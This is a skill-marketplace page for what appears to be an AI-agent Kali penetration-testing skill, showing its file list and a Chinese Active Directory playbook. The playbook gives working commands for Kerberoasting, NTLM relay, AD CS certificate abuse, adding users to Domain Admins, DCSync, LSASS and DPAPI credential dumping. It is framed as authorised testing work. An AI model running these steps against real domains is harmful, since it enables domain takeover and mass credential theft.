Skip to content

x-glacier/kali-pentest / kali-pentest-zh

kali-pentest-zh

Flagged

通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。

FileKindSize
SKILL.mdskill md15.6 KB
references/cloud-native/README.mdmarkdown4.2 KB
references/cloud-native/tools/azurehound.mdmarkdown4.0 KB
references/cloud-native/tools/docker-bench-security.mdmarkdown1.9 KB
references/cloud-native/tools/kube-bench.mdmarkdown1.7 KB
references/cloud-native/tools/kubescape.mdmarkdown1.7 KB
references/cloud-native/tools/pacu.mdmarkdown3.0 KB
references/cloud-native/tools/peirates.mdmarkdown6.4 KB
references/cloud-native/tools/prowler.mdmarkdown1.5 KB
references/cloud-native/tools/scoutsuite.mdmarkdown1.2 KB
references/environment/README.mdmarkdown1.4 KB
references/environment/docker-mode-networking.mdmarkdown2.2 KB
references/environment/docker-mode-persistent-container.mdmarkdown3.8 KB
references/environment/docker-mode.mdmarkdown2.0 KB
references/environment/local-mode.mdmarkdown946 B
references/environment/server-mode.mdmarkdown4.1 KB
references/environment/state-files.mdmarkdown2.3 KB
references/exploitation/README.mdmarkdown9.6 KB
references/exploitation/tools/chisel.mdmarkdown3.2 KB
references/exploitation/tools/coercer.mdmarkdown2.5 KB
references/exploitation/tools/dns2tcp.mdmarkdown3.8 KB
references/exploitation/tools/evil-winrm.mdmarkdown2.9 KB
references/exploitation/tools/evilginx2.mdmarkdown2.2 KB
references/exploitation/tools/getsploit.mdmarkdown2.0 KB
references/exploitation/tools/gophish.mdmarkdown6.1 KB
references/exploitation/tools/impacket.mdmarkdown10.9 KB
references/exploitation/tools/iodine.mdmarkdown3.5 KB
references/exploitation/tools/ligolo-ng.mdmarkdown3.3 KB
references/exploitation/tools/metasploit.mdmarkdown11.0 KB
references/exploitation/tools/mitm6.mdmarkdown2.6 KB
references/exploitation/tools/msfconsole.mdmarkdown3.9 KB
references/exploitation/tools/msfvenom.mdmarkdown8.5 KB
references/exploitation/tools/mssqlpwner.mdmarkdown2.5 KB
references/exploitation/tools/netcat.mdmarkdown4.4 KB
references/exploitation/tools/odat.mdmarkdown3.0 KB
references/exploitation/tools/proxytunnel.mdmarkdown2.2 KB
references/exploitation/tools/routersploit.mdmarkdown2.9 KB
references/exploitation/tools/searchsploit.mdmarkdown4.7 KB
references/exploitation/tools/setoolkit.mdmarkdown1015 B
references/exploitation/tools/smbclient.mdmarkdown2.8 KB
references/exploitation/tools/socat.mdmarkdown2.8 KB
references/exploitation/tools/veil.mdmarkdown2.9 KB
references/forensics/README.mdmarkdown8.8 KB
references/forensics/tools/bulk-extractor.mdmarkdown4.5 KB
references/forensics/tools/chainsaw.mdmarkdown2.6 KB
references/forensics/tools/chkrootkit.mdmarkdown2.6 KB
references/forensics/tools/dc3dd.mdmarkdown2.9 KB
references/forensics/tools/dcfldd.mdmarkdown3.2 KB
references/forensics/tools/ddrescue.mdmarkdown3.6 KB
references/forensics/tools/exiftool.mdmarkdown2.5 KB
references/forensics/tools/foremost.mdmarkdown2.4 KB
references/forensics/tools/hashdeep.mdmarkdown3.5 KB
references/forensics/tools/plaso.mdmarkdown3.7 KB
references/forensics/tools/regripper.mdmarkdown3.4 KB
references/forensics/tools/rkhunter.mdmarkdown3.4 KB
references/forensics/tools/scalpel.mdmarkdown2.6 KB
references/forensics/tools/sleuthkit.mdmarkdown4.0 KB
references/forensics/tools/ssdeep.mdmarkdown3.1 KB
references/forensics/tools/steghide.mdmarkdown2.8 KB
references/forensics/tools/stegseek.mdmarkdown2.5 KB
references/forensics/tools/tcpdump.mdmarkdown2.8 KB
references/forensics/tools/tcpflow.mdmarkdown3.4 KB
references/forensics/tools/testdisk.mdmarkdown3.0 KB
references/forensics/tools/tshark.mdmarkdown3.0 KB
references/forensics/tools/volatility.mdmarkdown5.0 KB
references/forensics/tools/yara.mdmarkdown3.3 KB
references/information-gathering/README.mdmarkdown15.6 KB
references/information-gathering/tools/altdns.mdmarkdown1.9 KB
references/information-gathering/tools/amass.mdmarkdown9.1 KB
references/information-gathering/tools/arp-scan.mdmarkdown1.9 KB
references/information-gathering/tools/assetfinder.mdmarkdown1.9 KB
references/information-gathering/tools/autorecon.mdmarkdown2.9 KB
references/information-gathering/tools/certgraph.mdmarkdown3.3 KB
references/information-gathering/tools/cloud-enum.mdmarkdown2.1 KB
references/information-gathering/tools/cloudbrute.mdmarkdown2.1 KB
references/information-gathering/tools/dig.mdmarkdown2.3 KB
references/information-gathering/tools/dmitry.mdmarkdown2.0 KB
references/information-gathering/tools/dnsenum.mdmarkdown1.7 KB
references/information-gathering/tools/dnsgen.mdmarkdown1.5 KB
references/information-gathering/tools/dnsmap.mdmarkdown1.8 KB
references/information-gathering/tools/dnsrecon.mdmarkdown2.7 KB
references/information-gathering/tools/dnstwist.mdmarkdown3.0 KB
references/information-gathering/tools/dnsx.mdmarkdown2.8 KB
references/information-gathering/tools/eyewitness.mdmarkdown2.4 KB
references/information-gathering/tools/fierce.mdmarkdown2.5 KB
references/information-gathering/tools/finalrecon.mdmarkdown2.4 KB
references/information-gathering/tools/findomain.mdmarkdown2.5 KB
references/information-gathering/tools/fping.mdmarkdown2.3 KB
references/information-gathering/tools/getallurls.mdmarkdown2.4 KB
references/information-gathering/tools/gowitness.mdmarkdown4.8 KB
references/information-gathering/tools/h8mail.mdmarkdown3.9 KB
references/information-gathering/tools/hakrawler.mdmarkdown2.3 KB
references/information-gathering/tools/hosthunter.mdmarkdown2.6 KB
references/information-gathering/tools/httprobe.mdmarkdown2.1 KB
references/information-gathering/tools/httpx.mdmarkdown4.6 KB
references/information-gathering/tools/ldeep.mdmarkdown4.9 KB
references/information-gathering/tools/masscan.mdmarkdown3.8 KB
references/information-gathering/tools/massdns.mdmarkdown1.9 KB
references/information-gathering/tools/metagoofil.mdmarkdown3.0 KB
references/information-gathering/tools/naabu.mdmarkdown2.7 KB
references/information-gathering/tools/nbtscan.mdmarkdown2.2 KB
references/information-gathering/tools/netdiscover.mdmarkdown2.6 KB
references/information-gathering/tools/nmap.mdmarkdown8.4 KB
references/information-gathering/tools/p0f.mdmarkdown2.1 KB
references/information-gathering/tools/recon-ng.mdmarkdown6.6 KB
references/information-gathering/tools/sherlock.mdmarkdown3.7 KB
references/information-gathering/tools/shodan.mdmarkdown3.6 KB
references/information-gathering/tools/spiderfoot.mdmarkdown2.7 KB
references/information-gathering/tools/subfinder.mdmarkdown2.5 KB
references/information-gathering/tools/sublist3r.mdmarkdown1.9 KB
references/information-gathering/tools/theHarvester.mdmarkdown2.9 KB
references/information-gathering/tools/trufflehog.mdmarkdown3.1 KB
references/information-gathering/tools/wafw00f.mdmarkdown1.9 KB
references/information-gathering/tools/whatweb.mdmarkdown5.1 KB
references/information-gathering/tools/whois.mdmarkdown2.0 KB
references/password/README.mdmarkdown11.8 KB
references/password/tools/brutespray.mdmarkdown2.8 KB
references/password/tools/cewl.mdmarkdown2.1 KB
references/password/tools/changeme.mdmarkdown3.0 KB
references/password/tools/chntpw.mdmarkdown2.5 KB
references/password/tools/crowbar.mdmarkdown2.6 KB
references/password/tools/crunch.mdmarkdown2.7 KB
references/password/tools/fcrackzip.mdmarkdown2.3 KB
references/password/tools/gpp-decrypt.mdmarkdown2.6 KB
references/password/tools/hashcat.mdmarkdown4.6 KB
references/password/tools/hashid.mdmarkdown2.1 KB
references/password/tools/hydra.mdmarkdown4.4 KB
references/password/tools/john.mdmarkdown3.2 KB
references/password/tools/kerbrute.mdmarkdown2.8 KB
references/password/tools/medusa.mdmarkdown3.3 KB
references/password/tools/name-that-hash.mdmarkdown3.2 KB
references/password/tools/ncrack.mdmarkdown3.3 KB
references/password/tools/netexec.mdmarkdown3.2 KB
references/password/tools/patator.mdmarkdown2.2 KB
references/password/tools/pdfcrack.mdmarkdown2.9 KB
references/password/tools/rainbowcrack.mdmarkdown2.9 KB
references/password/tools/responder.mdmarkdown2.7 KB
references/playbooks/README.mdmarkdown8.1 KB
references/playbooks/active-directory.mdmarkdown14.0 KB
references/playbooks/api-security.mdmarkdown18.6 KB
references/playbooks/cloud-native-assessment.mdmarkdown17.6 KB
references/playbooks/external-attack-surface.mdmarkdown8.1 KB
references/playbooks/forensics-triage.mdmarkdown11.7 KB
references/playbooks/internal-network-protocols.mdmarkdown6.5 KB
references/playbooks/internal-network.mdmarkdown14.4 KB
references/playbooks/mobile-application.mdmarkdown9.8 KB
references/playbooks/password-audit.mdmarkdown9.0 KB
references/playbooks/post-exploitation.mdmarkdown11.4 KB
references/playbooks/reporting-workflow.mdmarkdown6.3 KB
references/playbooks/rfid-nfc.mdmarkdown7.2 KB
references/playbooks/source-code-audit.mdmarkdown8.4 KB
references/playbooks/voip-ics.mdmarkdown17.3 KB
references/playbooks/web-application.mdmarkdown14.7 KB
references/playbooks/wireless-assessment.mdmarkdown9.6 KB
references/post-exploitation/README.mdmarkdown11.0 KB
references/post-exploitation/tools/bloodhound.mdmarkdown4.8 KB
references/post-exploitation/tools/bloodhound.py.mdmarkdown4.0 KB
references/post-exploitation/tools/bloodyad.mdmarkdown4.1 KB
references/post-exploitation/tools/certipy-ad.mdmarkdown3.2 KB
references/post-exploitation/tools/dnscat2.mdmarkdown3.5 KB
references/post-exploitation/tools/dploot.mdmarkdown4.2 KB
references/post-exploitation/tools/havoc.mdmarkdown3.8 KB
references/post-exploitation/tools/hekatomb.mdmarkdown3.0 KB
references/post-exploitation/tools/krbrelayx.mdmarkdown7.3 KB
references/post-exploitation/tools/lapsdumper.mdmarkdown2.4 KB
references/post-exploitation/tools/linpeas.mdmarkdown3.6 KB
references/post-exploitation/tools/linux-exploit-suggester.mdmarkdown2.8 KB
references/post-exploitation/tools/lsassy.mdmarkdown2.8 KB
references/post-exploitation/tools/mimikatz.mdmarkdown4.2 KB
references/post-exploitation/tools/powershell-empire.mdmarkdown4.0 KB
references/post-exploitation/tools/powersploit.mdmarkdown5.5 KB
references/post-exploitation/tools/proxychains.mdmarkdown2.1 KB
references/post-exploitation/tools/pspy.mdmarkdown2.8 KB
references/post-exploitation/tools/pwncat.mdmarkdown6.4 KB
references/post-exploitation/tools/sliver.mdmarkdown1.4 KB
references/post-exploitation/tools/sshuttle.mdmarkdown3.2 KB
references/post-exploitation/tools/winpeas.mdmarkdown3.0 KB
references/reporting/README.mdmarkdown2.5 KB
references/reporting/tools/pandoc.mdmarkdown3.2 KB
references/reporting/tools/report-template.mdmarkdown8.5 KB
references/reverse-engineering/README.mdmarkdown5.6 KB
references/reverse-engineering/tools/apktool.mdmarkdown1.8 KB
references/reverse-engineering/tools/binwalk.mdmarkdown3.0 KB
references/reverse-engineering/tools/checksec.mdmarkdown3.5 KB
references/reverse-engineering/tools/dex2jar.mdmarkdown3.2 KB
references/reverse-engineering/tools/frida.mdmarkdown2.4 KB
references/reverse-engineering/tools/ghidra-headless.mdmarkdown3.0 KB
references/reverse-engineering/tools/jadx.mdmarkdown2.2 KB
references/reverse-engineering/tools/ldd.mdmarkdown1.9 KB
references/reverse-engineering/tools/nm.mdmarkdown2.3 KB
references/reverse-engineering/tools/objdump.mdmarkdown2.5 KB
references/reverse-engineering/tools/objection.mdmarkdown3.0 KB
references/reverse-engineering/tools/rabin2.mdmarkdown2.3 KB
references/reverse-engineering/tools/radare2.mdmarkdown1.3 KB
references/reverse-engineering/tools/readelf.mdmarkdown2.3 KB
references/reverse-engineering/tools/ropper.mdmarkdown4.1 KB
references/reverse-engineering/tools/strings.mdmarkdown2.3 KB
references/reverse-engineering/tools/xxd.mdmarkdown2.3 KB
references/rfid-nfc/README.mdmarkdown2.7 KB
references/rfid-nfc/tools/libnfc.mdmarkdown2.2 KB

references/playbooks/active-directory.md

View on GitHub
# Active Directory Playbook

用于 Kerberos、LDAP、SMB、域控、Windows 域名或 AD 凭据位于范围内的场景。

## 输入

- 域名、域控 IP、DNS 服务器、已知用户、凭据或哈希(如提供)。
- 已授权技术:仅枚举、密码审计、中继攻击、AD CS 测试、漏洞利用。
- 锁定策略和允许的认证速率。

## 流程

1. **识别 AD 信号**
   - 查找端口 53、88、135、139、389、445、464、593、636、3268、3269、5985 和 5986。
   - 确认域名、域控、DNS、SMB 签名、LDAP/LDAPS 和时间偏差。

   (扫描工具选择参见 `../information-gathering/README.md`。)

   ```bash
   # 对候选域控做 AD 端口扫描
   nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,5986 -sV -sC <dc-ip> -oA ad_portscan
   # SMB 签名检查——扫描子网(未签名 = 中继目标)
   nxc smb <subnet>/24 --gen-relay-list relay_targets.txt
   # 时间偏差检查(Kerberos 需要 5 分钟内同步)
   nmap -p 445 --script smb2-time <dc-ip>
   ```

   **零发现应对:** 如果未找到域控,验证 DNS 解析(`dig SRV _ldap._tcp.dc._msdcs.<domain>`),在更大子网范围内扫描 AD 端口(88、389、445),并检查主机是否位于无法访问域控的隔离 VLAN 中。在至少确认一台域控之前,不得进入阶段 2。

2. **未认证枚举**
   - 在授权范围内使用 `nmap`、`smbclient`(参见 `../exploitation/tools/smbclient.md`)、`smbmap`(参见 `../vulnerability/tools/smbmap.md`)、`enum4linux-ng`(参见 `../vulnerability/tools/enum4linux-ng.md`)、`netexec`(参见 `../password/tools/netexec.md`)以及 LDAP/Kerberos 检查。
   - 检查空会话、匿名 LDAP、共享、命名上下文和暴露用户。
   - 注意网络段上的 LLMNR/NBT-NS/mDNS 投毒机会。如果名称解析投毒在范围内,参见[密码审计 playbook](password-audit.md) 中的 `responder` 用法。

   (枚举工具选择参见 `../vulnerability/README.md`。)

   使用用户名词表运行 `kerbrute userenum`(参见 `../password/tools/kerbrute.md`;会自动标记可进行 AS-REP Roasting 的账户)。

   ```bash
   # 全面的未认证枚举
   enum4linux-ng -A <dc-ip> -oJ /tmp/enum4linux
   # 空会话共享枚举
   smbmap -H <dc-ip> -u '' -p ''
   # 匿名列出可用共享
   smbclient -L //<dc-ip>/ -N
   ```

3. **认证枚举**
   - 使用 `netexec`、`impacket`、`bloodhound-python` 或 `bloodhound-ce-python`、`certipy-ad find` 和共享枚举。
   - 收集用户、组、会话、本地管理员、ACL、SPN、委派、信任关系和 AD CS 数据。

   (后渗透工具选择参见 `../post-exploitation/README.md`。)

   运行认证收集工具:
   - 使用 `bloodhound-python -c All` 获取 AD 攻击路径数据(参见 `../post-exploitation/tools/bloodhound.md`)
   - 使用 `certipy-ad find` 进行 AD CS 枚举(参见 `../post-exploitation/tools/certipy-ad.md`;覆盖 ESC1-ESC16)
   - 使用 `impacket-GetUserSPNs -request` 获取 Kerberoastable 账户(参见 `../exploitation/tools/impacket.md`)

   ```bash
   # 使用 netexec 进行认证 SMB/LDAP 枚举
   nxc smb <dc-ip> -u <user> -p '<password>' --shares --users --groups
   nxc ldap <dc-ip> -u <user> -p '<password>' --users
   # LDAP 原生委派和信任关系枚举
   ldeep ldap -d <domain> -u <user> -p '<password>' -s ldap://<dc-ip> delegations
   ldeep ldap -d <domain> -u <user> -p '<password>' -s ldap://<dc-ip> trusts
   ```

   使用 `ldeep` 进行委派、信任关系和 GPO 数据的深度 LDAP 枚举(参见 `../information-gathering/tools/ldeep.md`)。

   **枚举完整性验证:** 交叉比对 LDAP 查询、`bloodhound-python` 输出和 `nxc` 结果之间的用户计数。如有差异,先调查再继续。确认 SPN 枚举、委派配置查询、ACL 收集和 AD CS 模板枚举均无错误或截断地完成。

4. **攻击路径分析**
   - 仅在已有 UI、API 或操作员支持的工作流可用时使用 BloodHound/Neo4j 分析。
   - 将 `bloodhound-python` 采集输出作为 Agent 产物;不要从自动化 CLI playbook 中启动 BloodHound GUI。
   - 优先分析高影响查询:到 Domain Admins 的最短路径、可进行 AS-REP Roasting 的用户、可进行 Kerberoasting 的用户、本地管理员路径和 AD CS 提权路径。
   - 报告前手工验证高影响路径。

   使用 `jq` 从 `bloodhound-python` JSON 输出中提取关键攻击路径指标:

   ```bash
   # 提取 Domain Admins 组成员
   jq -r '.data[] | select(.Properties.admincount==true) | .Properties.name' *_users.json
   # 查找 Kerberoastable 用户(hasspn=true)
   jq -r '.data[] | select(.Properties.hasspn==true) | .Properties.name' *_users.json
   # 查找可进行 AS-REP Roasting 的用户(dontreqpreauth=true)
   jq -r '.data[] | select(.Properties.dontreqpreauth==true) | .Properties.name' *_users.json
   ```

   如需完整的基于图的攻击路径分析,将采集数据导入 BloodHound CE 并使用其 REST API 或 Web 界面。

5. **凭据和 Kerberos 测试**
   - 对 AS-REP roasting、Kerberoasting、密码喷洒、哈希破解或哈希复用,切换到密码审计 playbook。
   - 遵守锁定策略;喷洒或暴力破解需要批准。

   (凭据和破解工具选择参见 `../password/README.md`。)

   提取可破解的哈希:
   - AS-REP roasting:使用 `impacket-GetNPUsers`(参见 `../exploitation/tools/impacket.md`)
   - Kerberoasting:使用 `impacket-GetUserSPNs -request`(参见 `../exploitation/tools/impacket.md`)
   - 密码喷洒:使用 `kerbrute passwordspray`(参见 `../password/tools/kerbrute.md`)

   使用 `hashcat` 破解获取的哈希(参见 `../password/tools/hashcat.md`):

   ```bash
   # AS-REP roast 哈希破解(模式 18200)
   hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
   # Kerberoast 哈希破解(模式 13100)
   hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
   ```

   **穷尽凭据测试:** 破解全部提取到的哈希(AS-REP 和 Kerberoast),不要只破解前几个——先用 `rockyou.txt` 加规则,再对未破解的升级到掩码和混合攻击。对每个破解出的凭据在所有授权服务上测试复用(SMB、WinRM、RDP、MSSQL、LDAP、SSH)。获得任何新凭据后,返回阶段 3 用新权限重新枚举——每个凭据会解锁不同的共享、ACL 和组成员关系。

6. **强制认证、中继与利用**
   - 仅在明确批准后使用 `responder`、`coercer`、`mitm6`、`ntlmrelayx`、AD CS 滥用或漏洞利用。

   (利用工具选择参见 `../exploitation/README.md`。)
   - 使用 `responder` 进行 LLMNR/NBT-NS/mDNS 投毒以在本地网段捕获 Net-NTLMv2 哈希(参见 `../password/tools/responder.md`)。
   - 记录精确前置条件和影响。

   NTLM 中继攻击链:设置 `impacket-ntlmrelayx` 监听器,然后使用 `coercer` 强制目标认证(参见 `../exploitation/tools/impacket.md` 和 `../exploitation/tools/coercer.md`)。

7. **ACL 和委派滥用**
   - 当 BloodHound 显示可利用的 ACL 路径时,使用 `bloodyad` 测试(参见 `../post-exploitation/tools/bloodyad.md`):

   (后渗透工具选择参见 `../post-exploitation/README.md`。)
     - WriteDACL:在目标对象上授予自身权限。
     - GenericAll / GenericWrite:修改目标属性(例如设置 SPN 进行定向 Kerberoasting、重置密码)。
     - ForceChangePassword:无需知道当前密码即可重置用户密码。
     - AddMember:将受控账户添加到特权组。
   - 决策点:根据 BloodHound 最短路径结果,选择步骤最少、检测风险最低的滥用路径到达 Domain Admin。

   ```bash
   # 通过 WriteDACL / ForceChangePassword 重置目标用户密码
   bloodyad -d <domain> -u <user> -p '<pass>' --host <dc-ip> set password <target> 'NewPass1!'
   # 通过 AddMember 将受控用户添加到 Domain Admins
   bloodyad -d <domain> -u <user> -p '<pass>' --host <dc-ip> add groupMember "Domain Admins" <user>
   ```

   - 测试委派滥用:
     - 非约束委派:使用 `krbrelayx` 监控传入的 TGT。
     - 约束委派:执行 S4U2Self/S4U2Proxy 攻击,模拟特权用户访问目标服务。
     - 基于资源的约束委派(RBCD):使用 `bloodyad` 配置 `msDS-AllowedToActOnBehalfOfOtherIdentity`,然后通过 S4U2Proxy 获取服务票据。

8. **AD CS 利用**
   - 在枚举基础上深入。当 `certipy-ad find` 识别到易受攻击的模板后(阶段 3):
     - ESC1(错误配置的注册):请求证书以模拟特权用户。

       ```bash
       certipy-ad req -u user@domain -p 'password' -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@domain -dc-ip <dc-ip>
       ```

     - 使用获得的 PFX 进行认证以获取 NT 哈希。

       ```bash
       certipy-ad auth -pfx administrator.pfx -dc-ip <dc-ip>
       ```

     - ESC8(HTTP 注册端点):将 NTLM 认证中继到 AD CS HTTP 注册服务。

       ```bash
       impacket-ntlmrelayx -t http://<ca-host>/certsrv/certfnsh.asp -smb2support --adcs --template 'Machine'
       ```

   - 决策:如果发现 ESC1-ESC4 易受攻击的模板,执行证书请求和认证。如果启用了 HTTP 注册(ESC8),设置 NTLM 中继到 AD CS。

   **攻击路径备选链:** 当第一种技术失败时,不要停止该分支。如果强制认证失败,尝试替代方法(PrinterBug、PetitPotam、DFSCoerce)。如果没有 ESC1-ESC4 易受攻击模板,检查 ESC5-ESC11。如果没有 ACL 路径通往 Domain Admin,调查 GPO 滥用、LAPS、GMSA 或委派链。记录每条已尝试和已失败的路径。

9. **GPO 和信任关系滥用**
   - GPO 密码提取:在 SYSVOL 中搜索 `Groups.xml`、`Services.xml`、`ScheduledTasks.xml` 和 `DataSources.xml` 中的 `cpassword` 值。

   (后渗透工具选择参见 `../post-exploitation/README.md`。)

     ```bash
     impacket-Get-GPPPassword domain/user:password@<dc-ip>
     # 解密 SYSVOL XML 文件中发现的 cpassword 值
     gpp-decrypt <cpassword-value>
     ```

   使用 `impacket-Get-GPPPassword` 从 SYSVOL 提取 GPP 密码(参见 `../exploitation/tools/impacket.md`)。使用 `gpp-decrypt` 解密从组策略首选项 XML 文件中提取的单个 `cpassword` 值(参见 `../password/tools/gpp-decrypt.md`)。

   - 如果对 GPO 有写入权限,记录滥用路径(计划任务或脚本部署),但在修改 GPO 对象前需要明确批准。
   - LAPS 密码读取:查询 LDAP 获取计算机对象上的 `ms-Mcs-AdmPwd`(LAPS v1)或 `msLAPS-Password`(LAPS v2)属性。使用 `lapsdumper` 简化 LAPS 密码提取(参见 `../post-exploitation/tools/lapsdumper.md`):

     ```bash
     # 从 AD 转储 LAPS 密码
     lapsdumper -d <domain> -u <user> -p '<password>' -l <dc-ip>
     ```
   - GMSA 密码获取:当读取主体被授权时,读取组托管服务账户的 `msDS-ManagedPassword` 属性。
   - 跨域和林信任关系枚举:映射信任方向、传递性和 SID 过滤。注意跨域权限提升的 SID History 注入考量(需要明确授权)。

10. **凭据物化**
    - 获得域管理员或等效权限后(每个操作需要明确授权):

    (凭据提取工具选择参见 `../post-exploitation/README.md`。)
      - DCSync:使用 `impacket-secretsdump` 提取域凭据数据库(参见 `../exploitation/tools/impacket.md`)。

        ```bash
        impacket-secretsdump domain/admin:password@<dc-ip> -just-dc
        ```

      - Golden Ticket 创建:使用获得的 `krbtgt` 哈希记录可行性。注意:会创建持久的域级访问权限;需要明确授权和范围确认。
      - 影子凭据(Shadow Credentials):写入 `msDS-KeyCredentialLink` 属性以启用基于证书的认证作为目标主体。
      - DPAPI 密钥提取:使用 `dploot` 获取域备份密钥并解密受 DPAPI 保护的密钥(参见 `../post-exploitation/tools/dploot.md`)。

        ```bash
        dploot backupkey -d <domain> -u administrator -p '<password>' -t <dc-ip>
        ```

      - 批量 DPAPI 凭据提取:使用 `hekatomb` 在所有域计算机上提取受 DPAPI 保护的凭据(参见 `../post-exploitation/tools/hekatomb.md`):

        ```bash
        # 在所有域计算机上批量提取 DPAPI 凭据
        hekatomb <domain>/<user>:'<password>'@<dc-ip>
        ```

      - LSASS 凭据提取:使用 `lsassy` 进行远程 LSASS 转储和凭据解析(参见 `../post-exploitation/tools/lsassy.md`)。

        ```bash
        lsassy -d <domain> -u administrator -p '<password>' <target-ip>
        ```
    - 所有凭据物化操作必须在执行前记录明确授权。
    - 域沦陷后,继续使用[后渗透 playbook](post-exploitation.md) 进行横向移动和持久化文档。
    - 对获取的哈希进行破解,参见[密码审计 playbook](password-audit.md)。

## 交叉引用

- `password-audit.md` — 喷洒、破解、哈希复用工作流。
- `post-exploitation.md` — 域沦陷后的横向移动、持久化和权限提升。
- `internal-network.md` — 内部环境中的网络级枚举和跳板转发。
- `cloud-native-assessment.md` — 发现 Azure AD / Entra ID 混合配置、Azure AD Connect 或云同步账户时。
- `reporting-workflow.md` — 将发现和证据整理为可交付报告。

## 预期产物

- 域、域控、DNS 和信任关系摘要。
- 用户/组/计算机/共享清单。
- BloodHound 采集文件和高风险路径。
- AD CS 发现和证书模板风险。
- ACL 滥用路径和委派配置。
- GPO、LAPS 和 GMSA 发现。
- 凭据测试证据和锁定安全说明。
- DCSync 输出和物化凭据清单(如已授权)。

## 停止条件

- BloodHound 采集、共享枚举、ACL 采集和 AD CS 枚举已对每个授权域无错误、无截断地完成。
- 所有提取的哈希(AS-REP、Kerberoast、DCSync)已按约定的攻击升级梯度完成破解或耗尽。
- 每个破解的凭据已在所有授权服务上测试复用,凭据 × 服务矩阵已完整填充。
- 继续推进需要喷洒、中继攻击、漏洞利用或目标侧代码执行超出当前授权。
- 新域或信任关系需要范围扩展。
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall